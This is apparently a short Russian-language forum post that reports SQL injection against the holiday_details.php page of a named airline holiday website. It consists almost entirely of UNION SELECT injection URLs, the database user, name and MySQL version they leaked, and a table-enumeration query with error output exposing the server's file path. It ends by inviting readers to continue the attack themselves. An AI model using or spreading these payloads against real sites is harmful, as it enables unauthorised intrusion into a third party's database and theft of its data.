Сайт какойто авиакомпании

http://www.ctaholidays.net/beta/holiday_details.php?id=1225586740+union+select+1,2 ,3,4,5,6,7,concat_ws(0x3a,user(),database(),versio n()),9,10,11,12,13,14,15--

sercanak_main@localhost:sercanak_ctav2:5.0.81-community-log

Далее попал случайно

http://www.ctaholidays.net/beta/holiday_details.php?id=1225586740+union+select+1,t able_name,3,4,5,6,7,8,9,10,11,12,13,14,15+from+inf ormation_schema.tables+limit+21,100--

Table 'sercanak_ctav2.holiday_to_insurance' doesn't existUnknown column '_users' in 'where clause'
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home1/sercanak/public_html/ctaholidays/beta/classes/connection.cls.php on line 53

Дальше крутите сами